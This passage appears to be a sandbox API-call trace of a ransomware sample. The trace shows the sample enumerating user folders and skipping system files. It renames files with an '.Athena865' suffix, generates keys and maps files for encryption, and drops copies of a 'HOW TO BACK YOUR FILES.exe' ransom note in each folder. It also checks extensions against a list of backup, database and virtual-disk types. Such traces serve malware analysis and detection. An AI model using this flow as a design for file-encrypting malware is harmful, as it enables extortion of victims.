lstrcmpiW (lpString1="lM0oG.mp3", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.854] lstrcmpiW (lpString1="lM0oG.mp3", lpString2=".") returned 1 [0049.854] lstrcmpiW (lpString1="lM0oG.mp3", lpString2="..") returned 1 [0049.854] lstrcmpiW (lpString1="lM0oG.mp3", lpString2="windows") returned -1 [0049.854] lstrcmpiW (lpString1="lM0oG.mp3", lpString2="bootmgr") returned 1 [0049.854] lstrcmpiW (lpString1="lM0oG.mp3", lpString2="temp") returned -1 [0049.854] lstrcmpiW (lpString1="lM0oG.mp3", lpString2="pagefile.sys") returned -1 [0049.854] lstrcmpiW (lpString1="lM0oG.mp3", lpString2="boot") returned 1 [0049.854] lstrcmpiW (lpString1="lM0oG.mp3", lpString2="ids.txt") returned 1 [0049.854] lstrcmpiW (lpString1="lM0oG.mp3", lpString2="ntuser.dat") returned -1 [0049.854] lstrcmpiW (lpString1="lM0oG.mp3", lpString2="perflogs") returned -1 [0049.854] lstrcmpiW (lpString1="lM0oG.mp3", lpString2="MSBuild") returned -1 [0049.854] lstrlenW (lpString="lM0oG.mp3") returned 9 [0049.854] lstrcpyW (in: lpString1=0x241e8c8, lpString2="lM0oG.mp3" | out: lpString1="lM0oG.mp3") returned="lM0oG.mp3" [0049.854] lstrlenW (lpString="lM0oG.mp3") returned 9 [0049.854] lstrlenW (lpString="Athena865") returned 9 [0049.854] lstrlenW (lpString=".dll") returned 4 [0049.854] lstrcmpiW (lpString1="lM0oG.mp3", lpString2=".dll") returned 1 [0049.854] lstrlenW (lpString=".lnk") returned 4 [0049.854] lstrcmpiW (lpString1="lM0oG.mp3", lpString2=".lnk") returned 1 [0049.854] lstrlenW (lpString=".ini") returned 4 [0049.854] lstrcmpiW (lpString1="lM0oG.mp3", lpString2=".ini") returned 1 [0049.854] lstrlenW (lpString=".sys") returned 4 [0049.854] lstrcmpiW (lpString1="lM0oG.mp3", lpString2=".sys") returned 1 [0049.854] lstrlenW (lpString="lM0oG.mp3") returned 9 [0049.854] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\lM0oG.mp3.Athena865") returned 83 [0049.854] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\lM0oG.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\lm0og.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\lM0oG.mp3.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\lm0og.mp3.athena865"), dwFlags=0x1) returned 1 [0049.855] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\lM0oG.mp3.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\lm0og.mp3.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0049.855] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=61778) returned 1 [0049.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.856] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.856] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.856] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.856] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf460, lpName=0x0) returned 0x17c [0049.856] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf460) returned 0x100000 [0049.859] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.859] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.859] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50e9a8 [0049.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.860] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50e9a8 | out: hHeap=0x4f0000) returned 1 [0049.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0049.860] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.860] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.860] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.860] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.861] CloseHandle (hObject=0x17c) returned 1 [0049.861] CloseHandle (hObject=0x154) returned 1 [0049.863] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.863] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.863] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.863] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8be9b450, ftCreationTime.dwHighDateTime=0x1d4d3fe, ftLastAccessTime.dwLowDateTime=0x278558b0, ftLastAccessTime.dwHighDateTime=0x1d4c964, ftLastWriteTime.dwLowDateTime=0x278558b0, ftLastWriteTime.dwHighDateTime=0x1d4c964, nFileSizeHigh=0x0, nFileSizeLow=0x1173e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="M5bIUl2zN_OE6.swf", cAlternateFileName="M5BIUL~1.SWF")) returned 1 [0049.863] lstrcmpiW (lpString1="M5bIUl2zN_OE6.swf", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.863] lstrcmpiW (lpString1="M5bIUl2zN_OE6.swf", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.863] lstrcmpiW (lpString1="M5bIUl2zN_OE6.swf", lpString2=".") returned 1 [0049.863] lstrcmpiW (lpString1="M5bIUl2zN_OE6.swf", lpString2="..") returned 1 [0049.863] lstrcmpiW (lpString1="M5bIUl2zN_OE6.swf", lpString2="windows") returned -1 [0049.863] lstrcmpiW (lpString1="M5bIUl2zN_OE6.swf", lpString2="bootmgr") returned 1 [0049.863] lstrcmpiW (lpString1="M5bIUl2zN_OE6.swf", lpString2="temp") returned -1 [0049.864] lstrcmpiW (lpString1="M5bIUl2zN_OE6.swf", lpString2="pagefile.sys") returned -1 [0049.864] lstrcmpiW (lpString1="M5bIUl2zN_OE6.swf", lpString2="boot") returned 1 [0049.864] lstrcmpiW (lpString1="M5bIUl2zN_OE6.swf", lpString2="ids.txt") returned 1 [0049.864] lstrcmpiW (lpString1="M5bIUl2zN_OE6.swf", lpString2="ntuser.dat") returned -1 [0049.864] lstrcmpiW (lpString1="M5bIUl2zN_OE6.swf", lpString2="perflogs") returned -1 [0049.864] lstrcmpiW (lpString1="M5bIUl2zN_OE6.swf", lpString2="MSBuild") returned -1 [0049.864] lstrlenW (lpString="M5bIUl2zN_OE6.swf") returned 17 [0049.864] lstrcpyW (in: lpString1=0x241e8c8, lpString2="M5bIUl2zN_OE6.swf" | out: lpString1="M5bIUl2zN_OE6.swf") returned="M5bIUl2zN_OE6.swf" [0049.864] lstrlenW (lpString="M5bIUl2zN_OE6.swf") returned 17 [0049.864] lstrlenW (lpString="Athena865") returned 9 [0049.864] lstrcmpiW (lpString1="N_OE6.swf", lpString2="Athena865") returned 1 [0049.864] lstrlenW (lpString=".dll") returned 4 [0049.864] lstrcmpiW (lpString1="M5bIUl2zN_OE6.swf", lpString2=".dll") returned 1 [0049.864] lstrlenW (lpString=".lnk") returned 4 [0049.864] lstrcmpiW (lpString1="M5bIUl2zN_OE6.swf", lpString2=".lnk") returned 1 [0049.864] lstrlenW (lpString=".ini") returned 4 [0049.864] lstrcmpiW (lpString1="M5bIUl2zN_OE6.swf", lpString2=".ini") returned 1 [0049.864] lstrlenW (lpString=".sys") returned 4 [0049.864] lstrcmpiW (lpString1="M5bIUl2zN_OE6.swf", lpString2=".sys") returned 1 [0049.864] lstrlenW (lpString="M5bIUl2zN_OE6.swf") returned 17 [0049.864] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\M5bIUl2zN_OE6.swf.Athena865") returned 91 [0049.864] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\M5bIUl2zN_OE6.swf" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\m5biul2zn_oe6.swf"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\M5bIUl2zN_OE6.swf.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\m5biul2zn_oe6.swf.athena865"), dwFlags=0x1) returned 1 [0049.865] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\M5bIUl2zN_OE6.swf.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\m5biul2zn_oe6.swf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0049.865] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=71486) returned 1 [0049.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.865] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.866] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.866] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.866] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11a40, lpName=0x0) returned 0x17c [0049.866] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11a40) returned 0x100000 [0049.869] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.869] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.869] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.869] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.869] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50e9a8 [0049.870] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50e9a8 | out: hHeap=0x4f0000) returned 1 [0049.870] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.870] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0049.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.870] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.871] CloseHandle (hObject=0x17c) returned 1 [0049.871] CloseHandle (hObject=0x154) returned 1 [0049.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.872] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6b695060, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6b695060, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Macromedia", cAlternateFileName="MACROM~1")) returned 1 [0049.872] lstrcmpiW (lpString1="Macromedia", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.872] lstrcmpiW (lpString1="Macromedia", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.872] lstrcmpiW (lpString1="Macromedia", lpString2=".") returned 1 [0049.872] lstrcmpiW (lpString1="Macromedia", lpString2="..") returned 1 [0049.872] lstrcmpiW (lpString1="Macromedia", lpString2="windows") returned -1 [0049.872] lstrcmpiW (lpString1="Macromedia", lpString2="bootmgr") returned 1 [0049.872] lstrcmpiW (lpString1="Macromedia", lpString2="temp") returned -1 [0049.872] lstrcmpiW (lpString1="Macromedia", lpString2="pagefile.sys") returned -1 [0049.873] lstrcmpiW (lpString1="Macromedia", lpString2="boot") returned 1 [0049.873] lstrcmpiW (lpString1="Macromedia", lpString2="ids.txt") returned 1 [0049.873] lstrcmpiW (lpString1="Macromedia", lpString2="ntuser.dat") returned -1 [0049.873] lstrcmpiW (lpString1="Macromedia", lpString2="perflogs") returned -1 [0049.873] lstrcmpiW (lpString1="Macromedia", lpString2="MSBuild") returned -1 [0049.873] lstrlenW (lpString="Macromedia") returned 10 [0049.873] lstrcpyW (in: lpString1=0x241e8c8, lpString2="Macromedia" | out: lpString1="Macromedia") returned="Macromedia" [0049.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b630 [0049.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x96) returned 0x50e9a8 [0049.873] lstrcatW (in: lpString1="Macromedia", lpString2="\\" | out: lpString1="Macromedia\\") returned="Macromedia\\" [0049.873] lstrcatW (in: lpString1="Macromedia\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Macromedia\\HOW TO BACK YOUR FILES.exe") returned="Macromedia\\HOW TO BACK YOUR FILES.exe" [0049.873] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Macromedia\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\macromedia\\how to back your files.exe"), bFailIfExists=1) returned 1 [0049.876] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0049.876] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.876] lstrcmpiW (lpString1="Microsoft", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.876] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1 [0049.876] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1 [0049.876] lstrcmpiW (lpString1="Microsoft", lpString2="windows") returned -1 [0049.876] lstrcmpiW (lpString1="Microsoft", lpString2="bootmgr") returned 1 [0049.876] lstrcmpiW (lpString1="Microsoft", lpString2="temp") returned -1 [0049.876] lstrcmpiW (lpString1="Microsoft", lpString2="pagefile.sys") returned -1 [0049.876] lstrcmpiW (lpString1="Microsoft", lpString2="boot") returned 1 [0049.876] lstrcmpiW (lpString1="Microsoft", lpString2="ids.txt") returned 1 [0049.876] lstrcmpiW (lpString1="Microsoft", lpString2="ntuser.dat") returned -1 [0049.876] lstrcmpiW (lpString1="Microsoft", lpString2="perflogs") returned -1 [0049.876] lstrcmpiW (lpString1="Microsoft", lpString2="MSBuild") returned -1 [0049.876] lstrlenW (lpString="Microsoft") returned 9 [0049.876] lstrcpyW (in: lpString1=0x241e8c8, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft" [0049.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b648 [0049.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x94) returned 0x50ea48 [0049.876] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0049.876] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0049.876] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 1 [0049.878] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb458e750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb458e750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0049.879] lstrcmpiW (lpString1="Mozilla", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.879] lstrcmpiW (lpString1="Mozilla", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.879] lstrcmpiW (lpString1="Mozilla", lpString2=".") returned 1 [0049.879] lstrcmpiW (lpString1="Mozilla", lpString2="..") returned 1 [0049.879] lstrcmpiW (lpString1="Mozilla", lpString2="windows") returned -1 [0049.879] lstrcmpiW (lpString1="Mozilla", lpString2="bootmgr") returned 1 [0049.879] lstrcmpiW (lpString1="Mozilla", lpString2="temp") returned -1 [0049.879] lstrcmpiW (lpString1="Mozilla", lpString2="pagefile.sys") returned -1 [0049.879] lstrcmpiW (lpString1="Mozilla", lpString2="boot") returned 1 [0049.879] lstrcmpiW (lpString1="Mozilla", lpString2="ids.txt") returned 1 [0049.879] lstrcmpiW (lpString1="Mozilla", lpString2="ntuser.dat") returned -1 [0049.879] lstrcmpiW (lpString1="Mozilla", lpString2="perflogs") returned -1 [0049.879] lstrcmpiW (lpString1="Mozilla", lpString2="MSBuild") returned -1 [0049.879] lstrlenW (lpString="Mozilla") returned 7 [0049.879] lstrcpyW (in: lpString1=0x241e8c8, lpString2="Mozilla" | out: lpString1="Mozilla") returned="Mozilla" [0049.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b660 [0049.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x90) returned 0x528208 [0049.879] lstrcatW (in: lpString1="Mozilla", lpString2="\\" | out: lpString1="Mozilla\\") returned="Mozilla\\" [0049.879] lstrcatW (in: lpString1="Mozilla\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Mozilla\\HOW TO BACK YOUR FILES.exe") returned="Mozilla\\HOW TO BACK YOUR FILES.exe" [0049.879] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\mozilla\\how to back your files.exe"), bFailIfExists=1) returned 1 [0049.882] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x775e0a00, ftCreationTime.dwHighDateTime=0x1d4d05b, ftLastAccessTime.dwLowDateTime=0x43554e50, ftLastAccessTime.dwHighDateTime=0x1d4d12b, ftLastWriteTime.dwLowDateTime=0x43554e50, ftLastWriteTime.dwHighDateTime=0x1d4d12b, nFileSizeHigh=0x0, nFileSizeLow=0x40a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MwQVJliyJ2rhOGkTFvdB.ots", cAlternateFileName="MWQVJL~1.OTS")) returned 1 [0049.882] lstrcmpiW (lpString1="MwQVJliyJ2rhOGkTFvdB.ots", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.882] lstrcmpiW (lpString1="MwQVJliyJ2rhOGkTFvdB.ots", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.882] lstrcmpiW (lpString1="MwQVJliyJ2rhOGkTFvdB.ots", lpString2=".") returned 1 [0049.882] lstrcmpiW (lpString1="MwQVJliyJ2rhOGkTFvdB.ots", lpString2="..") returned 1 [0049.882] lstrcmpiW (lpString1="MwQVJliyJ2rhOGkTFvdB.ots", lpString2="windows") returned -1 [0049.882] lstrcmpiW (lpString1="MwQVJliyJ2rhOGkTFvdB.ots", lpString2="bootmgr") returned 1 [0049.882] lstrcmpiW (lpString1="MwQVJliyJ2rhOGkTFvdB.ots", lpString2="temp") returned -1 [0049.882] lstrcmpiW (lpString1="MwQVJliyJ2rhOGkTFvdB.ots", lpString2="pagefile.sys") returned -1 [0049.882] lstrcmpiW (lpString1="MwQVJliyJ2rhOGkTFvdB.ots", lpString2="boot") returned 1 [0049.882] lstrcmpiW (lpString1="MwQVJliyJ2rhOGkTFvdB.ots", lpString2="ids.txt") returned 1 [0049.882] lstrcmpiW (lpString1="MwQVJliyJ2rhOGkTFvdB.ots", lpString2="ntuser.dat") returned -1 [0049.882] lstrcmpiW (lpString1="MwQVJliyJ2rhOGkTFvdB.ots", lpString2="perflogs") returned -1 [0049.882] lstrcmpiW (lpString1="MwQVJliyJ2rhOGkTFvdB.ots", lpString2="MSBuild") returned 1 [0049.882] lstrlenW (lpString="MwQVJliyJ2rhOGkTFvdB.ots") returned 24 [0049.882] lstrcpyW (in: lpString1=0x241e8c8, lpString2="MwQVJliyJ2rhOGkTFvdB.ots" | out: lpString1="MwQVJliyJ2rhOGkTFvdB.ots") returned="MwQVJliyJ2rhOGkTFvdB.ots" [0049.882] lstrlenW (lpString="MwQVJliyJ2rhOGkTFvdB.ots") returned 24 [0049.882] lstrlenW (lpString="Athena865") returned 9 [0049.882] lstrcmpiW (lpString1="TFvdB.ots", lpString2="Athena865") returned 1 [0049.882] lstrlenW (lpString=".dll") returned 4 [0049.882] lstrcmpiW (lpString1="MwQVJliyJ2rhOGkTFvdB.ots", lpString2=".dll") returned 1 [0049.883] lstrlenW (lpString=".lnk") returned 4 [0049.883] lstrcmpiW (lpString1="MwQVJliyJ2rhOGkTFvdB.ots", lpString2=".lnk") returned 1 [0049.883] lstrlenW (lpString=".ini") returned 4 [0049.883] lstrcmpiW (lpString1="MwQVJliyJ2rhOGkTFvdB.ots", lpString2=".ini") returned 1 [0049.883] lstrlenW (lpString=".sys") returned 4 [0049.883] lstrcmpiW (lpString1="MwQVJliyJ2rhOGkTFvdB.ots", lpString2=".sys") returned 1 [0049.883] lstrlenW (lpString="MwQVJliyJ2rhOGkTFvdB.ots") returned 24 [0049.883] lstrlenW (lpString="bak") returned 3 [0049.883] lstrcmpiW (lpString1="ots", lpString2="bak") returned 1 [0049.883] lstrlenW (lpString="ba_") returned 3 [0049.883] lstrcmpiW (lpString1="ots", lpString2="ba_") returned 1 [0049.883] lstrlenW (lpString="dbb") returned 3 [0049.883] lstrcmpiW (lpString1="ots", lpString2="dbb") returned 1 [0049.883] lstrlenW (lpString="vmdk") returned 4 [0049.883] lstrcmpiW (lpString1=".ots", lpString2="vmdk") returned -1 [0049.883] lstrlenW (lpString="rar") returned 3 [0049.883] lstrcmpiW (lpString1="ots", lpString2="rar") returned -1 [0049.883] lstrlenW (lpString="zip") returned 3 [0049.883] lstrcmpiW (lpString1="ots", lpString2="zip") returned -1 [0049.883] lstrlenW (lpString="tgz") returned 3 [0049.883] lstrcmpiW (lpString1="ots", lpString2="tgz") returned -1 [0049.883] lstrlenW (lpString="vbox") returned 4 [0049.883] lstrcmpiW (lpString1=".ots", lpString2="vbox") returned -1 [0049.883] lstrlenW (lpString="vdi") returned 3 [0049.883] lstrcmpiW (lpString1="ots", lpString2="vdi") returned -1 [0049.883] lstrlenW (lpString="vhd") returned 3 [0049.883] lstrcmpiW (lpString1="ots", lpString2="vhd") returned -1 [0049.883] lstrlenW (lpString="vhdx") returned 4 [0049.883] lstrcmpiW (lpString1=".ots", lpString2="vhdx") returned -1 [0049.883] lstrlenW (lpString="avhd") returned 4 [0049.883] lstrcmpiW (lpString1=".ots", lpString2="avhd") returned -1 [0049.883] lstrlenW (lpString="db") returned 2 [0049.883] lstrcmpiW (lpString1="ts", lpString2="db") returned 1 [0049.883] lstrlenW (lpString="db2") returned 3 [0049.884] lstrcmpiW (lpString1="ots", lpString2="db2") returned 1 [0049.884] lstrlenW (lpString="db3") returned 3 [0049.884] lstrcmpiW (lpString1="ots", lpString2="db3") returned 1 [0049.884] lstrlenW (lpString="dbf") returned 3 [0049.884] lstrcmpiW (lpString1="ots", lpString2="dbf") returned 1 [0049.884] lstrlenW (lpString="mdf") returned 3 [0049.884] lstrcmpiW (lpString1="ots", lpString2="mdf") returned 1 [0049.884] lstrlenW (lpString="mdb") returned 3 [0049.884] lstrcmpiW (lpString1="ots", lpString2="mdb") returned 1 [0049.884] lstrlenW (lpString="sql") returned 3 [0049.884] lstrcmpiW (lpString1="ots", lpString2="sql") returned -1 [0049.884] lstrlenW (lpString="sqlite") returned 6 [0049.884] lstrcmpiW (lpString1="dB.ots", lpString2="sqlite") returned -1 [0049.884] lstrlenW (lpString="sqlite3") returned 7 [0049.884] lstrcmpiW (lpString1="vdB.ots", lpString2="sqlite3") returned 1 [0049.884] lstrlenW (lpString="sqlitedb") returned 8 [0049.884] lstrcmpiW (lpString1="FvdB.ots", lpString2="sqlitedb") 